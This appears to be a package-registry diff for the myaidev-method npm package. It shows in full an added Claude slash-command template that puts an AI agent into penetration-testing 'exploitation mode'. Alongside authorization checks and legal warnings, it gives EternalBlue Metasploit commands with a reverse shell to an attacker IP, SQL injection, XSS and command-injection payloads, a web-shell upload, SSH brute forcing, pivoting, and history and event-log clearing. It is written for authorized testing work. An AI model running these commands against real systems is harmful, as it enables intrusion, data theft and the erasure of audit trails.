myaidev-method 0.2.19 → 0.2.23

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (57) hide show
  1. package/CHANGELOG.md +123 -5
  2. package/README.md +205 -13
  3. package/TECHNICAL_ARCHITECTURE.md +64 -2
  4. package/USER_GUIDE.md +453 -48
  5. package/bin/cli.js +187 -2
  6. package/content-rules.example.md +80 -0
  7. package/dist/mcp/mcp-config.json +138 -1
  8. package/dist/mcp/mcp-launcher.js +237 -0
  9. package/dist/mcp/openstack-server.js +1607 -0
  10. package/dist/server/.tsbuildinfo +1 -1
  11. package/dist/server/auth/layers.d.ts +1 -1
  12. package/dist/server/auth/services/AuthService.d.ts +1 -1
  13. package/dist/server/auth/services/TokenService.js.map +1 -1
  14. package/dist/server/auth/services/example.d.ts +5 -5
  15. package/package.json +17 -17
  16. package/src/config/workflows.js +532 -0
  17. package/src/index.js +21 -8
  18. package/src/lib/payloadcms-utils.js +206 -0
  19. package/src/lib/update-manager.js +2 -1
  20. package/src/lib/visual-config-utils.js +321 -295
  21. package/src/lib/visual-generation-utils.js +1080 -740
  22. package/src/lib/workflow-installer.js +512 -0
  23. package/src/libs/security/authorization-checker.js +606 -0
  24. package/src/mcp/openstack-server.js +1607 -0
  25. package/src/scripts/configure-wordpress-mcp.js +8 -3
  26. package/src/scripts/generate-visual-cli.js +365 -235
  27. package/src/scripts/openstack-setup.sh +110 -0
  28. package/src/scripts/ping.js +250 -0
  29. package/src/scripts/security/environment-detect.js +425 -0
  30. package/src/scripts/wordpress/publish-to-wordpress.js +165 -0
  31. package/src/server/auth/services/TokenService.ts +1 -1
  32. package/src/templates/claude/agents/content-rules-setup.md +657 -0
  33. package/src/templates/claude/agents/content-writer.md +328 -1
  34. package/src/templates/claude/agents/openstack-vm-manager.md +281 -0
  35. package/src/templates/claude/agents/osint-researcher.md +1075 -0
  36. package/src/templates/claude/agents/penetration-tester.md +908 -0
  37. package/src/templates/claude/agents/security-auditor.md +244 -0
  38. package/src/templates/claude/agents/security-setup.md +1094 -0
  39. package/src/templates/claude/agents/visual-content-generator.md +182 -4
  40. package/src/templates/claude/agents/webapp-security-tester.md +581 -0
  41. package/src/templates/claude/commands/myai-configure.md +85 -1
  42. package/src/templates/claude/commands/myai-content-rules-setup.md +204 -0
  43. package/src/templates/claude/commands/myai-openstack.md +229 -0
  44. package/src/templates/claude/commands/sc:security-exploit.md +464 -0
  45. package/src/templates/claude/commands/sc:security-recon.md +281 -0
  46. package/src/templates/claude/commands/sc:security-report.md +756 -0
  47. package/src/templates/claude/commands/sc:security-scan.md +441 -0
  48. package/src/templates/claude/commands/sc:security-setup.md +501 -0
  49. package/src/templates/codex/commands/myai-content-rules-setup.md +85 -0
  50. package/src/templates/gemini/commands/myai-content-rules-setup.toml +57 -0
  51. package/.claude/mcp/sparc-orchestrator-server.js +0 -607
  52. package/.claude/mcp/wordpress-server.js +0 -1277
  53. package/src/agents/content-writer-prompt.md +0 -164
  54. package/src/agents/content-writer.json +0 -70
  55. package/src/templates/claude/mcp_config.json +0 -30
  56. package/src/templates/claude/slash_commands.json +0 -166
  57. package/src/templates/scripts/configure-wordpress-mcp.js +0 -181
@@ -0,0 +1,464 @@
1
+ ---
2
+ name: security-exploit
3
+ description: Exploitation operations with mandatory authorization and ethical guidelines
4
+ version: 1.0.0
5
+ category: security
6
+ agent: penetration-tester
7
+ ---
8
+
9
+ # Security Exploitation Command
10
+
11
+ Execute exploitation operations following professional penetration testing standards with strict authorization and ethical guidelines.
12
+
13
+ ## ⚠️ CRITICAL WARNINGS
14
+
15
+ **LEGAL REQUIREMENTS:**
16
+ - Explicit written authorization REQUIRED before ANY exploitation
17
+ - Unauthorized exploitation is ILLEGAL and subject to prosecution
18
+ - Criminal penalties include imprisonment and substantial fines
19
+ - Civil liability for damages caused by unauthorized testing
20
+
21
+ **ETHICAL GUIDELINES:**
22
+ - Exploitation ONLY on authorized targets within engagement scope
23
+ - Minimize system disruption and data access
24
+ - Immediately report critical vulnerabilities
25
+ - Follow rules of engagement strictly
26
+ - Maintain professional conduct at all times
27
+
28
+ ## Pre-Execution Requirements
29
+
30
+ **CRITICAL Authorization Check:**
31
+ ```javascript
32
+ import { requireAuthorization, AuthLevel } from '../../../src/libs/security/authorization-checker.js';
33
+
34
+ // User must provide target
35
+ const target = process.argv[2];
36
+ if (!target) {
37
+ console.error('Usage: /sc:security-exploit <target>');
38
+ console.error('Example: /sc:security-exploit 192.168.1.10');
39
+ process.exit(1);
40
+ }
41
+
42
+ // Verify authorization (exploitation requires EXPLOITATION level)
43
+ await requireAuthorization(target, AuthLevel.EXPLOITATION);
44
+
45
+ // Display legal warning
46
+ console.log('\n⚠️ LEGAL WARNING ⚠️\n');
47
+ console.log('Exploitation operations authorized under engagement:');
48
+ console.log(`- Engagement ID: ${manifest.engagement_id}`);
49
+ console.log(`- Authorization Level: ${manifest.authorization_level}`);
50
+ console.log(`- Authorized By: ${manifest.authorized_by}`);
51
+ console.log(`- Valid Until: ${manifest.end_date}\n`);
52
+ console.log('All exploitation activities will be logged.\n');
53
+ ```
54
+
55
+ ## Command Workflow
56
+
57
+ When user requests exploitation on a target:
58
+
59
+ ### Step 1: Activate penetration-tester Agent
60
+
61
+ ```
62
+ You are now in exploitation mode.
63
+
64
+ Target: [USER_PROVIDED_TARGET]
65
+ Authorization Level: EXPLOITATION (full testing authorized)
66
+
67
+ ⚠️ IMPORTANT REMINDERS:
68
+ - Follow rules of engagement strictly
69
+ - Minimize system disruption
70
+ - Document all exploitation attempts
71
+ - Report critical findings immediately
72
+ - Maintain chain of custody for evidence
73
+
74
+ Execute exploitation following this workflow:
75
+
76
+ 1. Vulnerability Validation
77
+ 2. Exploit Selection and Preparation
78
+ 3. Proof of Concept (PoC) Exploitation
79
+ 4. Post-Exploitation Activities (if authorized)
80
+ 5. Evidence Collection
81
+ 6. Immediate Reporting
82
+ 7. System Cleanup
83
+ ```
84
+
85
+ ### Step 2: Vulnerability Validation
86
+
87
+ ```bash
88
+ # Verify vulnerability exists before exploitation
89
+ nmap --script vuln -p [PORT] [TARGET]
90
+
91
+ # Specific vulnerability verification
92
+ # Example: SMB vulnerability check
93
+ nmap --script smb-vuln-* -p 445 [TARGET]
94
+
95
+ # Web application vulnerability validation
96
+ nikto -h https://[TARGET]
97
+
98
+ # Manual verification with curl/telnet
99
+ curl -v https://[TARGET]/vulnerable-endpoint
100
+ ```
101
+
102
+ ### Step 3: Exploit Selection
103
+
104
+ **Exploit Database Search:**
105
+ ```bash
106
+ # Search exploit-db
107
+ searchsploit [SERVICE] [VERSION]
108
+
109
+ # Example: Apache 2.4.49 Path Traversal
110
+ searchsploit apache 2.4.49
111
+
112
+ # Copy exploit to workspace
113
+ searchsploit -m exploits/[EXPLOIT_ID]
114
+ ```
115
+
116
+ **Metasploit Framework:**
117
+ ```bash
118
+ # Start Metasploit console
119
+ msfconsole
120
+
121
+ # Search for exploits
122
+ msf6 > search [VULNERABILITY]
123
+ msf6 > search type:exploit platform:linux
124
+
125
+ # Example: EternalBlue exploitation
126
+ msf6 > use exploit/windows/smb/ms17_010_eternalblue
127
+ msf6 > show options
128
+ msf6 > set RHOSTS [TARGET]
129
+ msf6 > set PAYLOAD windows/x64/meterpreter/reverse_tcp
130
+ msf6 > set LHOST [ATTACKER_IP]
131
+ msf6 > check # Verify vulnerability
132
+ msf6 > exploit
133
+ ```
134
+
135
+ ### Step 4: Proof of Concept Exploitation
136
+
137
+ **Web Application Exploitation:**
138
+
139
+ **SQL Injection PoC:**
140
+ ```bash
141
+ # Manual SQL injection testing
142
+ curl "https://[TARGET]/login?user=admin' OR '1'='1"
143
+
144
+ # SQLMap automated exploitation
145
+ sqlmap -u "https://[TARGET]/page?id=1" --dbs
146
+ sqlmap -u "https://[TARGET]/page?id=1" -D database --tables
147
+ sqlmap -u "https://[TARGET]/page?id=1" -D database -T users --dump --limit 3
148
+ ```
149
+
150
+ **XSS Exploitation:**
151
+ ```bash
152
+ # Reflected XSS PoC
153
+ curl "https://[TARGET]/search?q=<script>alert('XSS')</script>"
154
+
155
+ # Stored XSS testing
156
+ # POST payload to application
157
+ curl -X POST https://[TARGET]/comment \
158
+ -d "comment=<script>alert('XSS')</script>"
159
+ ```
160
+
161
+ **Remote Code Execution:**
162
+ ```bash
163
+ # Command injection PoC
164
+ curl "https://[TARGET]/ping?host=127.0.0.1;whoami"
165
+
166
+ # File upload vulnerability
167
+ curl -X POST https://[TARGET]/upload \
168
+ -F "file=@shell.php"
169
+
170
+ # Verify code execution (proof only)
171
+ curl https://[TARGET]/uploads/shell.php?cmd=whoami
172
+ ```
173
+
174
+ **Network Service Exploitation:**
175
+
176
+ **SSH Weak Credentials:**
177
+ ```bash
178
+ # Hydra brute force (limited attempts)
179
+ hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://[TARGET]
180
+
181
+ # Single credential test
182
+ sshpass -p 'password' ssh admin@[TARGET]
183
+ ```
184
+
185
+ **SMB Exploitation:**
186
+ ```bash
187
+ # EternalBlue exploitation with MSF
188
+ msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS [TARGET]; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST [ATTACKER]; exploit"
189
+ ```
190
+
191
+ ### Step 5: Post-Exploitation (Only if Authorized)
192
+
193
+ ⚠️ **CRITICAL**: Only proceed if rules of engagement explicitly allow post-exploitation
194
+
195
+ **Information Gathering:**
196
+ ```bash
197
+ # Meterpreter commands
198
+ meterpreter > sysinfo # System information
199
+ meterpreter > getuid # Current user
200
+ meterpreter > ps # Running processes
201
+ meterpreter > ipconfig # Network configuration
202
+ meterpreter > route # Routing table
203
+
204
+ # Limit data access to PoC only
205
+ meterpreter > cat /etc/passwd | head -5 # Proof only
206
+ meterpreter > ls /home # Directory listing only
207
+ ```
208
+
209
+ **Privilege Escalation:**
210
+ ```bash
211
+ # Linux privilege escalation enumeration
212
+ LinEnum.sh
213
+
214
+ # Windows privilege escalation
215
+ PowerUp.ps1
216
+
217
+ # Kernel exploits (use with extreme caution)
218
+ # Only with explicit authorization
219
+ ```
220
+
221
+ **Lateral Movement (Internal Only):**
222
+ ```bash
223
+ # Only if INTERNAL authorization level granted
224
+ # Network discovery from compromised host
225
+ meterpreter > run post/windows/gather/arp_scanner
226
+ meterpreter > run post/multi/recon/local_exploit_suggester
227
+
228
+ # Pivot through compromised host
229
+ meterpreter > portfwd add -l 3389 -p 3389 -r [INTERNAL_TARGET]
230
+ ```
231
+
232
+ ### Step 6: Evidence Collection
233
+
234
+ **Screenshot Evidence:**
235
+ ```bash
236
+ # Meterpreter screenshot
237
+ meterpreter > screenshot
238
+
239
+ # Manual screenshot with scrot
240
+ scrot evidence_[TARGET]_[TIMESTAMP].png
241
+
242
+ # Web application evidence
243
+ firefox https://[TARGET]/vulnerable-page
244
+ # Screenshot showing exploitation
245
+ ```
246
+
247
+ **Command Output Capture:**
248
+ ```bash
249
+ # Log all exploitation attempts
250
+ script exploitation_[TARGET]_[TIMESTAMP].log
251
+
252
+ # Save command output
253
+ whoami > evidence_whoami.txt
254
+ id > evidence_id.txt
255
+ uname -a > evidence_uname.txt
256
+ ```
257
+
258
+ **Network Traffic Capture:**
259
+ ```bash
260
+ # Capture exploitation traffic
261
+ tcpdump -i eth0 -w exploitation_[TARGET].pcap host [TARGET]
262
+
263
+ # Wireshark capture
264
+ wireshark -i eth0 -k -f "host [TARGET]"
265
+ ```
266
+
267
+ ### Step 7: Immediate Reporting
268
+
269
+ **Critical Finding Notification:**
270
+ ```markdown
271
+ # CRITICAL SECURITY FINDING
272
+
273
+ **Date:** [TIMESTAMP]
274
+ **Engagement ID:** [ENGAGEMENT_ID]
275
+ **Severity:** CRITICAL
276
+
277
+ ## Vulnerability Summary
278
+
279
+ **Type:** [Remote Code Execution / SQL Injection / etc.]
280
+ **Affected System:** [TARGET]
281
+ **CVSS Score:** [9.8 / Critical]
282
+
283
+ ## Proof of Concept
284
+
285
+ **Exploitation Steps:**
286
+ 1. [STEP_1]
287
+ 2. [STEP_2]
288
+ 3. [ACHIEVED_RCE/ACCESS]
289
+
290
+ **Evidence:**
291
+ - Screenshot: [FILENAME]
292
+ - Command Output: [FILENAME]
293
+ - Network Capture: [FILENAME]
294
+
295
+ ## Impact Assessment
296
+
297
+ **Business Impact:**
298
+ - Complete system compromise possible
299
+ - Sensitive data exposure risk
300
+ - Potential for lateral movement
301
+
302
+ **Technical Impact:**
303
+ - Remote code execution as [USER]
304
+ - Ability to [READ/WRITE/EXECUTE]
305
+ - Network pivot point established
306
+
307
+ ## Immediate Recommendations
308
+
309
+ **URGENT (0-24 hours):**
310
+ 1. [IMMEDIATE_FIX]
311
+ 2. [TEMPORARY_MITIGATION]
312
+ 3. [MONITORING]
313
+
314
+ **Contact:** [SECURITY_CONTACT]
315
+ **Next Steps:** [COORDINATION]
316
+ ```
317
+
318
+ ### Step 8: System Cleanup
319
+
320
+ **Remove Artifacts:**
321
+ ```bash
322
+ # Remove uploaded files
323
+ rm /var/www/html/uploads/shell.php
324
+
325
+ # Clear command history
326
+ history -c
327
+ rm ~/.bash_history
328
+
329
+ # Remove created users/accounts
330
+ userdel testuser
331
+
332
+ # Stop persistent services
333
+ systemctl stop malicious_service
334
+
335
+ # Remove cron jobs
336
+ crontab -r
337
+ ```
338
+
339
+ **Graceful Session Exit:**
340
+ ```bash
341
+ # Meterpreter
342
+ meterpreter > clearev # Clear event logs (only if authorized)
343
+ meterpreter > exit
344
+
345
+ # SSH
346
+ exit
347
+
348
+ # Close all connections
349
+ netstat -an | grep [ATTACKER_IP]
350
+ ```
351
+
352
+ ## Usage Examples
353
+
354
+ **Web Application Exploitation:**
355
+ ```
356
+ User: "/sc:security-exploit https://app.example.com --sqli"
357
+
358
+ Response:
359
+ 1. Verify EXPLOITATION authorization for app.example.com
360
+ 2. Validate SQL injection vulnerability
361
+ 3. Execute SQLMap with limited extraction
362
+ 4. Capture evidence (3 sample records max)
363
+ 5. Immediate critical finding report
364
+ 6. Clean up temporary files
365
+ 7. Save exploitation report
366
+ ```
367
+
368
+ **Network Service Exploitation:**
369
+ ```
370
+ User: "/sc:security-exploit 192.168.1.50 --service smb"
371
+
372
+ Response:
373
+ 1. Check EXPLOITATION authorization for 192.168.1.50
374
+ 2. Validate SMB vulnerability (MS17-010)
375
+ 3. Metasploit exploitation with reverse shell
376
+ 4. Limited post-exploitation (sysinfo, getuid only)
377
+ 5. Screenshot and evidence capture
378
+ 6. Graceful session termination
379
+ 7. Generate exploitation report
380
+ ```
381
+
382
+ **Privilege Escalation:**
383
+ ```
384
+ User: "/sc:security-exploit 192.168.1.10 --privesc"
385
+
386
+ Response:
387
+ 1. Verify EXPLOITATION authorization
388
+ 2. Enumerate privilege escalation vectors
389
+ 3. Attempt authorized escalation method
390
+ 4. Document root/SYSTEM access (PoC)
391
+ 5. No data exfiltration (PoC only)
392
+ 6. System cleanup
393
+ 7. Critical finding report
394
+ ```
395
+
396
+ ## Output
397
+
398
+ Save exploitation report to:
399
+ ```
400
+ reports/exploitation-[TARGET]-[TIMESTAMP].md
401
+ ```
402
+
403
+ Log all operations:
404
+ ```javascript
405
+ await authChecker.logOperation({
406
+ type: 'exploitation',
407
+ target: target,
408
+ vulnerability: vulnerabilityType,
409
+ result: 'successful_poc',
410
+ impact: 'critical',
411
+ user: process.env.USER,
412
+ evidence_files: evidenceFiles
413
+ });
414
+ ```
415
+
416
+ ## Error Handling
417
+
418
+ **No Authorization:**
419
+ ```
420
+ ❌ AUTHORIZATION REQUIRED - EXPLOITATION BLOCKED
421
+
422
+ Target: 192.168.1.50
423
+ Required Level: EXPLOITATION
424
+ Current Level: ACTIVE
425
+
426
+ CRITICAL: Exploitation requires explicit EXPLOITATION authorization.
427
+ Unauthorized exploitation is ILLEGAL.
428
+
429
+ This operation has been blocked and logged.
430
+ ```
431
+
432
+ **Out of Scope:**
433
+ ```
434
+ ❌ TARGET OUT OF SCOPE - EXPLOITATION BLOCKED
435
+
436
+ Target: production-db.example.com
437
+ Status: EXPLICITLY OUT OF SCOPE
438
+
439
+ This target is marked as out-of-scope in the authorization manifest.
440
+ Exploitation is PROHIBITED on this system.
441
+
442
+ This attempt has been logged for audit purposes.
443
+ ```
444
+
445
+ **Engagement Expired:**
446
+ ```
447
+ ❌ ENGAGEMENT EXPIRED - EXPLOITATION BLOCKED
448
+
449
+ Engagement End Date: 2025-11-25
450
+ Current Date: 2025-11-26
451
+
452
+ The authorized testing period has ended.
453
+ No further exploitation is permitted.
454
+
455
+ Contact client to extend authorization if needed.
456
+ ```
457
+
458
+ ---
459
+
460
+ **Agent:** penetration-tester
461
+ **Authorization Level:** EXPLOITATION
462
+ **Version:** 1.0.0
463
+
464
+ **⚠️ FINAL WARNING:** This command executes active exploitation. Ensure you have explicit written authorization, understand the legal implications, and follow all rules of engagement. Unauthorized use is strictly prohibited and illegal.